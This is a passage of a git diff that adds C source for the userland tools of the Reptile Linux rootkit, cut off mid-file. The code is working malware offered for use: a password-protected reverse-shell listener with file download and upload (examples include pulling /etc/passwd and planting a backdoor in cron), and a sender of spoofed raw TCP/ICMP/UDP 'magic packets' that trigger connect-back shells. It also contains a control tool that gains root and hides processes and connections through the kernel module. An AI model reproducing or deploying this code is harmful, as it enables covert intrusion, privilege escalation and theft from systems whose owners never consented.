s); + break; + + default: + fprintf(stderr, "%s %s: Unknown error code.\n", bad, s); + break; + } +} + +void help_download() +{ + fprintf(stdout, "%s \n", builtin_str[1]); + fprintf(stdout, "Example: download /etc/passwd /tmp\n"); +} + +void help_upload() +{ + fprintf(stdout, "%s \n", builtin_str[2]); + fprintf(stdout, "Example: upload /root/backdoor /etc/cron.daily\n"); +} + +void help_delay() +{ + fprintf(stdout, "%s \n", builtin_str[4]); + fprintf(stdout, "Example: delay 3600\n\n"); + fprintf(stdout, "%s Use \"delay 0\" if you don't wanna a " + "connecion every X time\n", warn); +} + +void no_help() +{ + fprintf(stdout, "This command doesn't need help\n"); +} + +int help(int sock, char **args) +{ + if (args[0] == NULL && sock == -1) + return 1; + + if (args[1] != NULL) { + if (strcmp(args[1], builtin_str[0]) == 0) { + no_help(); + } else if (strcmp(args[1], builtin_str[1]) == 0) { + help_download(); + } else if (strcmp(args[1], builtin_str[2]) == 0) { + help_upload(); + } else if (strcmp(args[1], builtin_str[3]) == 0) { + no_help(); + } else if (strcmp(args[1], builtin_str[4]) == 0) { + help_delay(); + } else if (strcmp(args[1], builtin_str[5]) == 0) { + no_help(); + } else { + fprintf(stdout, "This command is not valid!\n"); + } + } else { + fprintf(stdout, "\n\e[01;36mReptile Shell\e[00m\n"); + fprintf(stdout, "\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n"); + fprintf(stdout, "\t%s\t\tShow this help\n", builtin_str[0]); + fprintf(stdout, "\t%s\tDownload a file from host\n", builtin_str[1]); + fprintf(stdout, "\t%s\t\tUpload a file to host\n", builtin_str[2]); + fprintf(stdout, "\t%s\t\tOpen a full TTY interactive shell\n", builtin_str[3]); + fprintf(stdout, "\t%s\t\tSet time to reverse shell connect\n", builtin_str[4]); + fprintf(stdout, "\t%s\t\tExit this shell\n\n", builtin_str[5]); + fprintf(stdout, "Type: \"help \" to see specific help\n"); + } + + fprintf(stdout, "\n"); + return 1; +} + +int __exit(int sock, char **args) +{ + if (args[0] == NULL && sock == -1) + return 1; + + pel_send_msg(sock, (unsigned char *)EXIT, EXIT_LEN); + fprintf(stdout, "\n"); + return 0; +} + +int shell(int sock, char **args) +{ + fd_set rd; + char *term, *temp; + int ret, len, imf, i, size; + struct winsize ws; + struct termios tp, tr; + + if (args[0] == NULL && sock == -1) + return 1; + + term = getenv("TERM"); + + if (term == NULL) + term = "vt100"; + + len = strlen(term); + + ret = pel_send_msg(sock, (unsigned char *)term, len); + + if (ret != PEL_SUCCESS) { + pel_error("pel_send_msg"); + return 1; + } + + imf = 0; + + if (isatty(0)) { + imf = 1; + + if (ioctl(0, TIOCGWINSZ, &ws) < 0) { + p_error("ioctl(TIOCGWINSZ)"); + return 1; + } + } else { + ws.ws_row = 25; + ws.ws_col = 80; + } + + message[0] = (ws.ws_row >> 8) & 0xFF; + message[1] = (ws.ws_row) & 0xFF; + message[2] = (ws.ws_col >> 8) & 0xFF; + message[3] = (ws.ws_col) & 0xFF; + + ret = pel_send_msg(sock, message, 4); + + if (ret != PEL_SUCCESS) { + pel_error("pel_send_msg"); + return 1; + } + + if (strcmp(args[0], builtin_str[3]) == 0) { + temp = (char *)malloc(2); + + if (!temp) { + p_error("malloc"); + return 1; + } + + temp[0] = RUNSHELL; + temp[1] = '\0'; + fprintf(stdout, "\n"); + } else { + size = 1; + len = 0; + + temp = (char *)malloc(size); + + if (!temp) { + p_error("malloc"); + return 1; + } + + while (args[len] != NULL) { + size++; + size += strlen(args[len]); + char *temp_backup = temp; + if ((temp = realloc(temp, size)) == NULL) { + free(temp_backup); + p_error("realloc"); + return 1; + } + len++; + } + + memset(temp, '\0', size); + + for (i = 0; i < len; i++) { + strcat(temp, args[i]); + strcat(temp, " "); + } + } + + len = strlen(temp); + ret = pel_send_msg(sock, (unsigned char *)temp, len); + free(temp); + + if (ret != PEL_SUCCESS) { + pel_error("pel_send_msg"); + return 1; + } + + if (isatty(1)) { + if (tcgetattr(1, &tp) < 0) { + p_error("tcgetattr"); + return 1; + } + + memcpy((void *)&tr, (void *)&tp, sizeof(tr)); + + tr.c_iflag |= IGNPAR; + tr.c_iflag &= + ~(ISTRIP | INLCR | IGNCR | ICRNL | IXON | IXANY | IXOFF); + tr.c_lflag &= + ~(ISIG | ICANON | ECHO | ECHOE | ECHOK | ECHONL | IEXTEN); + tr.c_oflag &= ~OPOST; + + tr.c_cc[VMIN] = 1; + tr.c_cc[VTIME] = 0; + + if (tcsetattr(1, TCSADRAIN, &tr) < 0) { + p_error("tcsetattr"); + return 1; + } + } + + while (1) { + FD_ZERO(&rd); + + if (imf != 0) + FD_SET(0, &rd); + + FD_SET(sock, &rd); + + if (select(sock + 1, &rd, NULL, NULL, NULL) < 0) { + p_error("select"); + break; + } + + if (FD_ISSET(sock, &rd)) { + ret = pel_recv_msg(sock, message, &len); + + if (ret != PEL_SUCCESS) { + pel_error("pel_recv_msg"); + break; + } + + if (strncmp((char *)message, EXIT, EXIT_LEN) == 0) { + if (isatty(1)) + tcsetattr(1, TCSADRAIN, &tp); + + fprintf(stdout, "\n"); + return 1; + } + + if (write(1, message, len) != len) { + p_error("write"); + break; + } + } + + if (imf != 0 && FD_ISSET(0, &rd)) { + if ((len = read(0, message, BUFSIZE)) < 0) { + p_error("read"); + break; + } + + if (len == 0) { + fprintf(stderr, "stdin: end-of-file\n"); + break; + } + + ret = pel_send_msg(sock, message, len); + + if (ret != PEL_SUCCESS) { + pel_error("pel_send_msg"); + break; + } + } + } + + if (isatty(1)) + tcsetattr(1, TCSADRAIN, &tp); + + return 1; +} + +int get_file(int sock, char **args) +{ + char *temp, *pathname; + int ret, len, fd, total; + unsigned char out = OUT; + + if (args[1] == NULL || args[2] == NULL) { + fprintf(stderr, "%s wrong arguments\n\n", bad); + + if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) + pel_error("pel_send_msg"); + + return 1; + } + + len = strlen(args[1]); + + ret = pel_send_msg(sock, (unsigned char *)args[1], len); + + if (ret != PEL_SUCCESS) { + pel_error("pel_send_msg"); + return 1; + } + + temp = strrchr(args[1], '/'); + + if (temp != NULL) + temp++; + if (temp == NULL) + temp = args[1]; + + len = strlen(args[2]); + + pathname = (char *)malloc(len + strlen(temp) + 2); + + if (pathname == NULL) { + p_error("malloc"); + return 1; + } + + strcpy(pathname, args[2]); + strcpy(pathname + len, "/"); + strcpy(pathname + len + 1, temp); + + fd = creat(pathname, 0644); + + if (fd < 0) { + p_error("creat"); + free(pathname); + return 1; + } + + free(pathname); + + total = 0; + + while (1) { + ret = pel_recv_msg(sock, message, &len); + + if (ret != PEL_SUCCESS) { + pel_error("pel_recv_msg"); + fprintf(stderr, "%s Transfer failed.\n", bad); + return 1; + } + + if (strncmp((char *)message, EXIT, EXIT_LEN) == 0 && total > 0) + break; + + if (write(fd, message, len) != len) { + p_error("write"); + return 1; + } + + total += len; + + fprintf(stdout, "%d\r", total); + fflush(stdout); + } + + fprintf(stdout, "%s %d done.\n\n", good, total); + + return 1; +} + +int put_file(int sock, char **args) +{ + char *temp, *pathname; + int ret, len, fd, total; + unsigned char out = OUT; + + if (args[1] == NULL || args[2] == NULL) { + fprintf(stderr, "%s wrong arguments\n\n", bad); + + if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) + pel_error("pel_send_msg"); + + return 1; + } + + temp = strrchr(args[1], '/'); + + if (temp != NULL) + temp++; + if (temp == NULL) + temp = args[1]; + + len = strlen(args[2]); + + pathname = (char *)malloc(len + strlen(temp) + 2); + + if (pathname == NULL) { + p_error("malloc"); + return 1; + } + + strcpy(pathname, args[2]); + strcpy(pathname + len, "/"); + strcpy(pathname + len + 1, temp); + + len = strlen(pathname); + + ret = pel_send_msg(sock, (unsigned char *)pathname, len); + + free(pathname); + + if (ret != PEL_SUCCESS) { + pel_error("pel_send_msg"); + return 1; + } + + fd = open(args[1], O_RDONLY); + + if (fd < 0) { + p_error("open"); + return 1; + } + + total = 0; + + while (1) { + len = read(fd, message, BUFSIZE); + + if (len < 0) { + p_error("read"); + return 1; + } + + if (len == 0) { + break; + } + + ret = pel_send_msg(sock, message, len); + + if (ret != PEL_SUCCESS) { + pel_error("pel_send_msg"); + fprintf(stderr, "%s Transfer failed.\n", bad); + return 1; + } + + total += len; + + printf("%s %d\r", good, total); + fflush(stdout); + } + + pel_send_msg(sock, (unsigned char *)EXIT, EXIT_LEN); + + printf("%s %d done.\n\n", good, total); + return 1; +} + +int delay(int sock, char **args) +{ + int ret, flag; + unsigned int i, j; + char *numbers = "0123456789"; + unsigned char out = OUT; + + if (args[1] == NULL) { + fprintf(stderr, "%s no arguments\n\n", bad); + + if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) + pel_error("pel_send_msg"); + + return 1; + } + + for (i = 0; i < strlen(args[1]); i++) { + flag = 0; + + for (j = 0; j < strlen(numbers); j++) { + if (args[1][i] == numbers[j]) + flag = 1; + } + + if (flag == 0) { + fprintf(stderr, "%s wrong argument\n\n", bad); + + if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) + pel_error("pel_send_msg"); + + return 1; + } + } + + ret = pel_send_msg(sock, (unsigned char *)args[1], strlen(args[1])); + + if (ret != PEL_SUCCESS) { + pel_error("pel_send_msg"); + return 1; + } + + fprintf(stdout, "%s delay -> %s\n\n", good, args[1]); + return 1; +} + +int execute(int sock, char **args) +{ + int i, ret; + + if (args[0] == NULL || sock == -1) + return 1; + + for (i = 0; i < num_builtins(); i++) { + if (strcmp(args[0], builtin_str[i]) == 0) { + if (i == 0) { + return (*builtin_func[i])(sock, args); + } else { + ret = + pel_send_msg(sock, (unsigned char *)&i, 1); + + if (ret != PEL_SUCCESS) { + pel_error("pel_send_msg"); + return 1; + } + + return (*builtin_func[i])(sock, args); + } + } + } + + i = 3; + ret = pel_send_msg(sock, (unsigned char *)&i, 1); + + if (ret != PEL_SUCCESS) { + pel_error("pel_send_msg"); + return 1; + } + + return (*builtin_func[3])(sock, args); +} + +char *read_line(void) +{ + int bufsize = RL_BUFSIZE; + int position = 0; + char *buffer = malloc(sizeof(char) * bufsize); + int c; + + if (!buffer) { + fprintf(stderr, "reptile: allocation error\n"); + exit(EXIT_FAILURE); + } + + while (1) { + c = getchar(); + + if (c == EOF) { + free(buffer); + exit(EXIT_SUCCESS); + } else if (c == '\n') { + buffer[position] = '\0'; + return buffer; + } else { + buffer[position] = c; + } + position++; + + if (position >= bufsize) { + bufsize += RL_BUFSIZE; + char *buffer_backup = buffer; + if ((buffer = realloc(buffer, bufsize)) == NULL) { + free(buffer_backup); + fprintf(stderr, "reptile: allocation error\n"); + exit(EXIT_FAILURE); + } + } + } +} + +char **parse(char *line) +{ + int bufsize = TOK_BUFSIZE, position = 0; + char **tokens = malloc(bufsize * sizeof(char *)); + char *token, **tokens_backup; + + if (!tokens) { + fprintf(stderr, "reptile: allocation error\n"); + exit(EXIT_FAILURE); + } + + token = strtok(line, TOK_DELIM); + while (token != NULL) { + tokens[position] = token; + position++; + + if (position >= bufsize) { + bufsize += TOK_BUFSIZE; + tokens_backup = tokens; + tokens = realloc(tokens, bufsize * sizeof(char *)); + if (!tokens) { + free(tokens_backup); + fprintf(stderr, "reptile: allocation error\n"); + exit(EXIT_FAILURE); + } + } + + token = strtok(NULL, TOK_DELIM); + } + tokens[position] = NULL; + return tokens; +} + +void reptile_loop(int sock) +{ + char *line; + char **args; + int status; + + do { + line = readline("\e[01;32mreptile> \e[00m"); + add_history(line); + + args = parse(line); + status = execute(sock, args); + + free(line); + free(args); + } while (status); + + clear_history(); +} + +void handle_shutdown(int signal) +{ + close(sockfd); + exit(signal); +} + +void listener(int port) +{ + int new_sockfd, yes = 1; + struct sockaddr_in host_addr, client_addr; + socklen_t sin_size; + + if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) { + kill(pid, SIGQUIT); + fatal("in socket"); + } + + if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == + -1) { + kill(pid, SIGQUIT); + close(sockfd); + fatal("setting socket option SO_REUSEADDR"); + } + + signal(SIGTERM, handle_shutdown); + signal(SIGINT, handle_shutdown); + + host_addr.sin_family = AF_INET; + host_addr.sin_port = htons(port); + host_addr.sin_addr.s_addr = INADDR_ANY; + memset(&(host_addr.sin_zero), '\0', 8); + + if (bind(sockfd, (struct sockaddr *)&host_addr, + sizeof(struct sockaddr)) == -1) { + kill(pid, SIGQUIT); + close(sockfd); + fatal("binding to socket"); + } + + if (listen(sockfd, 5) == -1) { + kill(pid, SIGQUIT); + close(sockfd); + fatal("listening on socket"); + } else { + fprintf(stdout, "%s Listening on port %d...\n", good, port); + } + + sin_size = sizeof(struct sockaddr_in); + new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); + + if (new_sockfd == -1) { + kill(pid, SIGQUIT); + close(sockfd); + fatal("accepting connection"); + } + + fprintf(stdout, "%s Connection from %s:%d\n\n", awesome, + inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port)); + + // usleep(100 * 1500); + + if (password == NULL) { + password = getpass("Password: "); + fprintf(stdout, "\n"); + } + + if (pel_client_init(new_sockfd, password) != PEL_SUCCESS) { + close(new_sockfd); + fprintf(stdout, "%s wrong password!\n\n", bad); + exit(ERROR); + } + + banner(); + reptile_loop(new_sockfd); + + shutdown(new_sockfd, SHUT_RDWR); + close(sockfd); +} + +void usage(char *argv0) +{ + fprintf(stderr, "Usage: %s [ -p port ] [ -s secret ]\n", + argv0); + exit(1); +} + +int main(int argc, char **argv) +{ + int opt, port = 0; + + while ((opt = getopt(argc, argv, "p:s:")) != EOF) { + switch (opt) { + case 'p': + port = atoi(optarg); + break; + case 's': + password = optarg; + break; + default: + usage(argv[0]); + break; + } + } + + if (port == 0) + usage(*argv); + + if (argc <= 1) + usage(argv[0]); + + // printf("\n\e[01;36mReptile Shell\e[00m\n"); + // printf("\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n"); + + if (password != NULL) + fprintf(stdout, "%s Using password: %s\n", good, password); + + pid = fork(); + + if (pid == -1) + fatal("on forking proccess"); + + if (pid > 0) + listener(port); + + // if (pid == 0) + // background job while we are listening + + return EXIT_SUCCESS; +} diff --git a/Linux/Rootkits/Reptile/userland/client/packet.c b/Linux/Rootkits/Reptile/userland/client/packet.c new file mode 100644 index 0000000..6c854c0 --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/client/packet.c @@ -0,0 +1,464 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "custom_rol32.h" +#include "util.h" + +// Don't worry, it is gonna cahnged next version +#define KEY 0x6de56d3b +#define IPID 3429 +#define SEQ 15123 +#define WIN 9965 + +struct pseudohdr +{ + uint32_t saddr; + uint32_t daddr; + uint8_t zero; + uint8_t protocol; + uint16_t length; +}; + +unsigned short csum(unsigned short *buf, int nwords) +{ + unsigned long sum; + unsigned short odd; + + for (sum = 0; nwords > 1; nwords-=2) + sum += *buf++; + + if (nwords == 1) { + odd = 0; + *((unsigned char *)&odd) = *(unsigned char *)buf; + sum += odd; + } + + sum = (sum >> 16) + (sum & 0xffff); + sum += (sum >> 16); + + return ~sum; +} + +int tcp(char *srcip, char *dstip, unsigned int srcport, unsigned int dstport, char *data, unsigned int data_len) +{ + int socktcp, nbytes, ret = EXIT_FAILURE; + unsigned int pckt_tam, plen; + char *buffer; + struct iphdr *iph; + struct tcphdr *tcph; + struct sockaddr_in s; + socklen_t optval = 1; + struct pseudohdr psh; + char *pseudo_packet; + + pckt_tam = sizeof(struct iphdr) + sizeof(struct tcphdr) + data_len; + + if (!(buffer = (char *)malloc(pckt_tam))) { + fatal("on allocating buffer memory"); + return ret; + } + + memset(buffer, '\0', pckt_tam); + + iph = (struct iphdr *)buffer; + tcph = (struct tcphdr *)(buffer + sizeof(struct iphdr)); + + if ((socktcp = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) { + fatal("on creating TCP socket"); + goto free_buffer; + } + + if (setsockopt(socktcp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) { + fatal("on setsockopt"); + goto close_socket; + } + + memcpy((buffer + sizeof(struct iphdr) + sizeof(struct tcphdr)), data, data_len); + + iph->ihl = 5; + iph->version = 4; + iph->tos = 0; + iph->id = htons(IPID); + iph->ttl = 255; + iph->protocol = IPPROTO_TCP; + iph->tot_len = pckt_tam; + iph->saddr = inet_addr(srcip); + iph->daddr = inet_addr(dstip); + + //iph->check = csum((unsigned short *)buffer, sizeof(struct iphdr) + sizeof(struct tcphdr)); + iph->check = csum((unsigned short *)buffer, iph->tot_len); + + tcph->source = htons(srcport); + tcph->dest = htons(dstport); + tcph->seq = 0x0; + tcph->ack_seq = 0; + tcph->doff = 5; + tcph->fin = 0; + tcph->syn = 1; + tcph->rst = 0; + tcph->psh = 0; + tcph->ack = 0; + tcph->urg = 0; + tcph->window = htons(WIN); + tcph->urg_ptr = 0; + tcph->check = 0; + + psh.saddr = inet_addr(srcip); + psh.daddr = inet_addr(dstip); + psh.zero = 0; + psh.protocol = IPPROTO_TCP; + psh.length = htons(sizeof(struct tcphdr) + data_len); + + plen = sizeof(struct pseudohdr) + sizeof(struct tcphdr) + data_len; + + if ((pseudo_packet = malloc(plen)) == NULL) { + fatal("on malloc"); + goto close_socket; + } + + bzero(pseudo_packet, plen); + memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr)); + + tcph->seq = htons(SEQ); + tcph->check = 0; + memcpy(pseudo_packet + sizeof(struct pseudohdr), tcph, sizeof(struct tcphdr) + data_len); + tcph->check = csum((unsigned short *)pseudo_packet, plen); + + s.sin_family = AF_INET; + s.sin_port = htons(dstport); + s.sin_addr.s_addr = inet_addr(dstip); + + if ((nbytes = sendto(socktcp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1) + fatal("on sending package"); + + if (nbytes > 0) { + fprintf(stdout, "%s TCP: %u bytes was sent!\n", good, nbytes); + ret = EXIT_SUCCESS; + } + + free(pseudo_packet); +close_socket: + close(socktcp); +free_buffer: + free(buffer); + return ret; +} + +int icmp(char *srcip, char *dstip, char *data, unsigned int data_len) +{ + int sockicmp, nbytes, ret = EXIT_FAILURE; + unsigned int pckt_tam; + char *buffer; + struct iphdr *iph; + struct icmphdr *icmp; + struct sockaddr_in s; + socklen_t optval = 1; + + pckt_tam = (sizeof(struct iphdr) + sizeof(struct icmphdr) + data_len); + + if (!(buffer = (char *)malloc(pckt_tam))) { + fatal("on allocating buffer memory"); + return ret; + } + + memset(buffer, '\0', pckt_tam); + + iph = (struct iphdr *)buffer; + icmp = (struct icmphdr *)(buffer + sizeof(struct iphdr)); + + if ((sockicmp = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) { + fatal("in creating raw ICMP socket"); + goto free_buffer; + } + + if (setsockopt(sockicmp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) { + fatal("in setsockopt"); + goto close_socket; + } + + memcpy((buffer + sizeof(struct iphdr) + sizeof(struct icmphdr)), data, data_len); + + iph->ihl = 5; + iph->version = 4; + iph->tos = 0; + iph->id = htons(IPID); + iph->ttl = 255; + iph->protocol = IPPROTO_ICMP; + iph->saddr = inet_addr(srcip); + iph->daddr = inet_addr(dstip); + iph->tot_len = pckt_tam; + iph->check = csum((unsigned short *)buffer, iph->tot_len); + + icmp->type = 8; + icmp->code = ICMP_ECHO; + icmp->checksum = 0; + icmp->un.echo.id = htons(WIN); + icmp->un.echo.sequence = htons(SEQ); + + icmp->checksum = csum((unsigned short *)icmp, sizeof(struct icmphdr) + data_len); + + s.sin_family = AF_INET; + s.sin_addr.s_addr = inet_addr(dstip); + + if ((nbytes = sendto(sockicmp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1) + fatal("on sending package"); + + if (nbytes > 0) { + fprintf(stdout, "%s ICMP: %u bytes was sent!\n", good, nbytes); + ret = EXIT_SUCCESS; + } + +close_socket: + close(sockicmp); +free_buffer: + free(buffer); + return ret; +} + +int udp(char *srcip, char *dstip, unsigned int srcport, unsigned int dstport, char *data, unsigned int data_len) +{ + int sockudp, nbytes, ret = EXIT_FAILURE; + unsigned int pckt_tam, plen; + char *buffer; + struct iphdr *iph; + struct udphdr *udph; + struct sockaddr_in s; + socklen_t optval = 1; + struct pseudohdr psh; + char *pseudo_packet; + + pckt_tam = sizeof(struct iphdr) + sizeof(struct udphdr) + data_len; + + if (!(buffer = (char *)malloc(pckt_tam))) { + fatal("on allocating buffer memory"); + return ret; + } + + memset(buffer, '\0', pckt_tam); + + iph = (struct iphdr *)buffer; + udph = (struct udphdr *)(buffer + sizeof(struct iphdr)); + + if ((sockudp = socket(PF_INET, SOCK_RAW, IPPROTO_UDP)) == -1) { + fatal("on creating UDP socket"); + goto free_buffer; + } + + if (setsockopt(sockudp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) { + fatal("on setsockopt"); + goto close_socket; + } + + memcpy((buffer + sizeof(struct iphdr) + sizeof(struct udphdr)), data, data_len); + + iph->ihl = 5; + iph->version = 4; + iph->tos = 0; + iph->id = htons(IPID); + iph->ttl = 255; + iph->protocol = IPPROTO_UDP; + iph->tot_len = pckt_tam; + iph->saddr = inet_addr(srcip); + iph->daddr = inet_addr(dstip); + iph->check = csum((unsigned short *)buffer, iph->tot_len); + + udph->source = htons(srcport); + udph->dest = htons(dstport); + udph->len = htons(sizeof(struct udphdr) + data_len); + udph->check = 0; + + psh.saddr = inet_addr(srcip); + psh.daddr = inet_addr(dstip); + psh.zero = 0; + psh.protocol = IPPROTO_UDP; + psh.length = htons(sizeof(struct udphdr) + data_len); + + plen = sizeof(struct pseudohdr) + sizeof(struct udphdr) + data_len; + + if ((pseudo_packet = malloc(plen)) == NULL) { + fatal("on malloc"); + goto close_socket; + } + + bzero(pseudo_packet, plen); + memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr)); + + udph->check = 0; + memcpy(pseudo_packet + sizeof(struct pseudohdr), udph, sizeof(struct udphdr) + data_len); + udph->check = csum((unsigned short *)pseudo_packet, plen); + + //fprintf(stdout, "UDP Checksum = 0x%x\n", htons(udph->check)); + + s.sin_family = AF_INET; + s.sin_port = htons(dstport); + s.sin_addr.s_addr = inet_addr(dstip); + + if ((nbytes = sendto(sockudp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1) + fatal("on sending package"); + + if (nbytes > 0) { + fprintf(stdout, "%s UDP: %u bytes was sent!\n", good, nbytes); + ret = EXIT_SUCCESS; + } + + free(pseudo_packet); +close_socket: + close(sockudp); +free_buffer: + free(buffer); + return ret; +} + +void usage(char *argv0) +{ + fprintf(stderr, "\n\e[01;32mReptile Packet Sender\e[00m\n"); + fprintf(stderr, "\e[01;31mWritten by F0rb1dd3n\e[00m\n"); + fprintf(stderr, "\nUsage: %s [options]\n\n", argv0); + fprintf(stderr, "-t\tTarget\n"); + fprintf(stderr, "-r\tRemote port from magic packets (only for tcp/udp)\n"); + fprintf(stderr, "-x\tMagic Packet protocol (tcp/icmp/udp)\n"); + fprintf(stderr, "-s\tSource IP address to spoof\n"); + fprintf(stderr, "-q\tSource port from magic packets (only for tcp/udp)\n"); + fprintf(stderr, "-l\tHost to receive the reverse shell\n"); + fprintf(stderr, "-p\tHost port to receive the reverse shell\n"); + fprintf(stderr, "-k\tToken to trigger the port-knocking\n\n"); + exit(1); +} + +int main(int argc, char **argv) +{ + int opt, dstport, srcport, len, crypt_len; + char *prot, *dstip, *srcip, *connect_back_host, *connect_back_port, + *token, *data; + + dstport = srcport = 0; + + prot = dstip = srcip = connect_back_host = connect_back_port = token = + NULL; + + while ((opt = getopt(argc, argv, "x:t:l:p:r:s:q:k:")) != EOF) { + switch (opt) { + case 'x': + prot = optarg; + if (strcmp(prot, "icmp") == 0 || + strcmp(prot, "ICMP") == 0) { + if (strcmp(prot, "udp") == 0 || + strcmp(prot, "UDP") == 0) { + if (strcmp(prot, "tcp") == 0 || + strcmp(prot, "TCP") == 0) { + printf("%s wrong " + "protocol\n", + bad); + exit(-1); + } + } + } + break; + case 't': + if (strlen(optarg) > 15) { + printf("%s wrong IP address\n", bad); + exit(-1); + } + dstip = optarg; + break; + case 'l': + if (strlen(optarg) > 15) { + printf("%s wrong IP address\n", bad); + exit(-1); + } + connect_back_host = optarg; + break; + case 'p': + if (atoi(optarg) < 0 || atoi(optarg) > 65535) { + printf("%s wrong port\n", bad); + exit(-1); + } + connect_back_port = optarg; + break; + case 'r': + if (atoi(optarg) < 0 || atoi(optarg) > 65535) { + printf("%s wrong port\n", bad); + exit(-1); + } + dstport = atoi(optarg); + break; + case 's': + if (strlen(optarg) > 15) { + printf("%s wrong IP address\n", bad); + exit(-1); + } + srcip = optarg; + break; + case 'q': + if (atoi(optarg) < 0 || atoi(optarg) > 65535) { + printf("%s wrong port\n", bad); + exit(-1); + } + srcport = atoi(optarg); + break; + case 'k': + if (strlen(optarg) > 16 || strlen(optarg) < 5) { + printf("%s wrong size of token\n", bad); + exit(-1); + } + token = optarg; + break; + default: + usage(argv[0]); + break; + } + } + + if (prot == NULL || dstip == NULL || srcip == NULL || + connect_back_host == NULL || connect_back_port == NULL || + token == NULL) { + usage(argv[0]); + } + + if (strcmp(prot, "tcp") == 0 || strcmp(prot, "udp") == 0 || + strcmp(prot, "TCP") == 0 || strcmp(prot, "UDP") == 0) { + if (srcport == 0 || dstport == 0) + usage(argv[0]); + } + + + len = strlen(token) + strlen(connect_back_host) + strlen(connect_back_port) + 3; + crypt_len = strlen(connect_back_host) + strlen(connect_back_port) + 2; + data = (char *)malloc(len); + + if (!data) + fatal("malloc"); + + bzero(data, len); + snprintf(data, len, "%s %s %s", token, connect_back_host, connect_back_port); + do_encrypt(data + strlen(token) + 1, crypt_len, KEY); + + // printf("data size: %d\n", len); + + if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) { + tcp(srcip, dstip, srcport, dstport, data, len); + } else if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) { + icmp(srcip, dstip, data, len); + } else if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) { + udp(srcip, dstip, srcport, dstport, data, len); + } + + free(data); + return EXIT_SUCCESS; +} diff --git a/Linux/Rootkits/Reptile/userland/cmd.c b/Linux/Rootkits/Reptile/userland/cmd.c new file mode 100644 index 0000000..e7fe6eb --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/cmd.c @@ -0,0 +1,187 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define SHELL "/bin/bash" + +struct control { + unsigned short cmd; + void *argv; +}; + +int main(int argc, char **argv) +{ + int sockfd; + struct control args; + struct sockaddr_in addr; + struct hostent *host; + unsigned int pid; + char *bash = SHELL; + char *envp[1] = {NULL}; + char *arg[3] = {SHELL, NULL}; + + if (argc < 2) + exit(0); + + sockfd = socket(AF_INET, SOCK_STREAM, 6); + if (sockfd < 0) + goto fail; + + if (strcmp(argv[1], "root") == 0) { + if (geteuid() == 0) { + printf("You are already root! :)\n\n"); + close(sockfd); + goto out; + } + + args.cmd = 3; + + if (ioctl(sockfd, AUTH, HTUA) == 0) { + ioctl(sockfd, AUTH, &args); + ioctl(sockfd, AUTH, HTUA); + } + + if (geteuid() == 0) { + printf("\e[01;36mYou got super powers!\e[00m\n\n"); + execve(bash, arg, envp); + } else { + printf("\e[00;31mYou have no power here! :( \e[00m\n\n"); + } + + goto out; + } + + if (strcmp(argv[1], "hide") == 0 || strcmp(argv[1], "show") == 0) { + if (argc < 2) + goto fail; + + if (argc == 2) { + args.cmd = 0; + + if (ioctl(sockfd, AUTH, HTUA) == 0) { + if (ioctl(sockfd, AUTH, &args) == 0) { + if (ioctl(sockfd, AUTH, HTUA) == 0) { + printf("\e[01;32mSuccess!\e[00m\n"); + goto out; + } + } + } + } else { + + args.cmd = 1; + pid = (unsigned int)atoi(argv[2]); + args.argv = &pid; + + if (ioctl(sockfd, AUTH, HTUA) == 0) { + if (ioctl(sockfd, AUTH, &args) == 0) { + if (ioctl(sockfd, AUTH, HTUA) == 0) { + printf("\e[01;32mSuccess!\e[00m\n"); + goto out; + } + } + } + } + } + + if (strcmp(argv[1], "file-tampering") == 0) { + args.cmd = 2; + + if (ioctl(sockfd, AUTH, HTUA) == 0) { + if (ioctl(sockfd, AUTH, &args) == 0) { + if (ioctl(sockfd, AUTH, HTUA) == 0) { + printf("\e[01;32mSuccess!\e[00m\n"); + goto out; + } + } + } + } + + if (strcmp(argv[1], "conn") == 0) { + if (argc < 4) + goto fail; + + if (strcmp(argv[4], "hide") == 0) { + args.cmd = 4; + } else if (strcmp(argv[4], "show") == 0) { + args.cmd = 5; + } else { + goto fail; + } + + host = gethostbyname(argv[2]); + + if (host == NULL) + goto fail; + + memcpy((void *)&addr.sin_addr, (void *)host->h_addr, + host->h_length); + + addr.sin_family = AF_INET; + addr.sin_port = htons(atoi(argv[3])); + + args.argv = &addr; + + if (ioctl(sockfd, AUTH, HTUA) == 0) { + if (ioctl(sockfd, AUTH, &args) == 0) { + if (ioctl(sockfd, AUTH, HTUA) == 0) { + printf("\e[01;32mSuccess!\e[00m\n"); + goto out; + } + } + } + } +/* + +// This part is deprecated. There is no reason to hide specific protocols +// when you want to hide some connection, in the most of cases you will +// need to hide every connection and everything about your attacker server. + + if (strcmp(argv[1], "udp") == 0) { + if (argc < 4) + goto fail; + + if (strcmp(argv[4], "hide") == 0) { + args.cmd = 6; + } else if (strcmp(argv[4], "show") == 0) { + args.cmd = 7; + } else { + goto fail; + } + + host = gethostbyname(argv[2]); + + if (host == NULL) + goto 